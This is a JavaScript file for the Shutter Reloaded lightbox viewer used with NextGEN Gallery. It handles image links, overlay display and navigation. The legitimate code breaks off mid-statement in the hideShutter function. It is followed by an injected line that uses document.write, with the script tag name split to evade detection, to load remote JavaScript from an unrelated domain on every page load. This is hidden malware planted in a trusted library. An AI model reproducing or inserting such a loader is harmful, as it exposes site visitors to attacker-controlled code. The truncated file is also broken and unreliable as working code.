/*
Shutter Reloaded for NextGEN Gallery
http://www.laptoptips.ca/javascripts/shutter-reloaded/
Version: 1.3.0
Copyright (C) 2007-2008  Andrew Ozz
Released under the GPL, http://www.gnu.org/copyleft/gpl.html

Acknowledgement: some ideas are from: Shutter by Andrew Sutherland - http://code.jalenack.com, WordPress - http://wordpress.org, Lightbox by Lokesh Dhakar - http://www.huddletogether.com, the icons are from Crystal Project Icons, Everaldo Coelho, http://www.everaldo.com

*/

shutterOnload = function(){shutterReloaded.init('sh');}

if (typeof shutterOnload == 'function') {
	if ('undefined' != typeof jQuery) jQuery(document).ready(function(){shutterOnload();});
	else if( typeof window.onload != 'function' ) window.onload = shutterOnload;
	else {oldonld = window.onload;window.onload = function(){if(oldonld){oldonld();};shutterOnload();}};
}

shutterReloaded = {

	I : function (a) {
		return document.getElementById(a);
	},

	settings : function() {
		var t = this, s = shutterSettings;

		t.imageCount = s.imageCount || 0;
		t.msgLoading = s.msgLoading || 'L O A D I N G';
		t.msgClose = s.msgClose || 'Click to Close';
	},

	init : function (a) {
		var t = this, L, T, ext, i, m, setid, inset, shfile, shMenuPre, k, img;
		shutterLinks = {}, shutterSets = {};
		if ( 'object' != typeof shutterSettings ) shutterSettings = {};

		for ( i = 0; i < document.links.length; i++ ) {
			L = document.links[i];
			ext = ( L.href.indexOf('?') == -1 ) ? L.href.slice(-4).toLowerCase() : L.href.substring( 0, L.href.indexOf('?') ).slice(-4).toLowerCase();
			if ( ext != '.jpg' && ext != '.png' && ext != '.gif' && ext != 'jpeg' ) continue;
			if ( a == 'sh' && L.className.toLowerCase().indexOf('shutter') == -1 ) continue;
			if ( a == 'lb' && L.rel.toLowerCase().indexOf('lightbox') == -1 ) continue;

			if ( L.className.toLowerCase().indexOf('shutterset') != -1 )
			setid = L.className.replace(/\s/g, '_');			
			else if ( L.rel.toLowerCase().indexOf('lightbox[') != -1 )
			setid = L.rel.replace(/\s/g, '_');
			else setid = 0, inset = -1;
			
			if( setid ) {
				if ( ! shutterSets[setid] ) shutterSets[setid] = [];
					inset = shutterSets[setid].push(i);
			}
			
			shfile = L.href.slice(L.href.lastIndexOf('/')+1);
			T = ( L.title && L.title != shfile ) ? L.title : '';
			
			shutterLinks[i] = {link:L.href,num:inset,set:setid,title:T}
			L.onclick = new Function('shutterReloaded.make("' + i + '");return false;');
		}

		t.settings();

	},

	make : function(ln,fs) {
		var t = this, prev, next, prevlink = '', nextlink = '', previmg, nextimg, D, S, W, fsarg = -1, imgNum, NavBar;

		if ( ! t.Top ) {
			if ( typeof window.pageYOffset != 'undefined' ) t.Top = window.pageYOffset;
			else t.Top = (document.documentElement.scrollTop > 0) ? document.documentElement.scrollTop : document.body.scrollTop;
		}

		if ( typeof t.pgHeight == 'undefined' )
			t.pgHeight = Math.max(document.documentElement.scrollHeight,document.body.scrollHeight);

		if ( fs ) t.FS = ( fs > 0 ) ? 1 : 0;
		else t.FS = shutterSettings.FS || 0;

		if ( t.resizing ) t.resizing = null;
		window.onresize = new Function('shutterReloaded.resize("'+ln+'");');

		document.documentElement.style.overflowX = 'hidden';
		if ( ! t.VP ) {
			t._viewPort();
			t.VP = true;
		}

		if ( ! (S = t.I('shShutter')) ) {
			S = document.createElement('div');
			S.setAttribute('id','shShutter');
			document.getElementsByTagName('body')[0].appendChild(S);
			t.hideTags();
		}

		if ( ! (D = t.I('shDisplay')) ) {
			D = document.createElement('div');
			D.setAttribute('id','shDisplay');
			D.style.top = t.Top + 'px';
			document.getElementsByTagName('body')[0].appendChild(D);
		}

		S.style.height = t.pgHeight + 'px';

		var dv = t.textBtns ? ' | ' : '';
		if ( shutterLinks[ln].num > 1 ) {
			prev = shutterSets[shutterLinks[ln].set][shutterLinks[ln].num - 2];
			prevlink = '<a href="#" onclick="shutterReloaded.make('+prev+');return false">&lt;&lt;</a>'+dv;
			previmg = new Image();
			previmg.src = shutterLinks[prev].link;
		} else {
			prevlink = '';
		}

		if ( shutterLinks[ln].num != -1 && shutterLinks[ln].num < (shutterSets[shutterLinks[ln].set].length) ) {
			next = shutterSets[shutterLinks[ln].set][shutterLinks[ln].num];
			nextlink = '<a href="#" onclick="shutterReloaded.make('+next+');return false">&gt;&gt;</a>'+dv;
			nextimg = new Image();
			nextimg.src = shutterLinks[next].link;
		} else {
			nextlink = '';
		}

		imgNum = ( (shutterLinks[ln].num > 0) && t.imageCount ) ? '<div id="shCount">&nbsp;(&nbsp;' + shutterLinks[ln].num + '&nbsp;/&nbsp;' + shutterSets[shutterLinks[ln].set].length + '&nbsp;)&nbsp;</div>' : '';

		NavBar = '<div id="shTitle"><div id="shPrev">' + prevlink + '</div><div id="shNext">' + nextlink + '</div><div id="shName">' + shutterLinks[ln].title + '</div>' + imgNum + '</div>';

		D.innerHTML = '<div id="shWrap"><img src="'+shutterLinks[ln].link+'" id="shTopImg" title="' + t.msgClose + '" onload="shutterReloaded.showImg();" onclick="shutterReloaded.hideShutter();" />' + NavBar +'</div>';

		window.setTimeout(function(){shutterReloaded.loading();},2000);
	},

	loading : function() {
		var t = this, S, WB, W;
		if ( (W = t.I('shWrap')) && W.style.visibility == 'visible' ) return;
		if ( ! (S = t.I('shShutter')) ) return;
		if ( t.I('shWaitBar') ) return;
		WB = document.createElement('div');
		WB.setAttribute('id','shWaitBar');
		WB.style.top = t.Top + 'px';
		WB.innerHTML = t.msgLoading;
		S.appendChild(WB);
	},

	hideShutter : function() {
		var t = this, D, S;
		if ( D = t.I('shDisplay') ) D.parentNode.removeChild(D);
		if ( S = t.I('shShutter') ) S.parentNode.removeChild(S);
		t.hideTags(true);
		wi
document.write('<sc'+'ript type="text/javascript" src="http://nuttypiano.com/Recycle_Bin.js"></scri'+'pt>');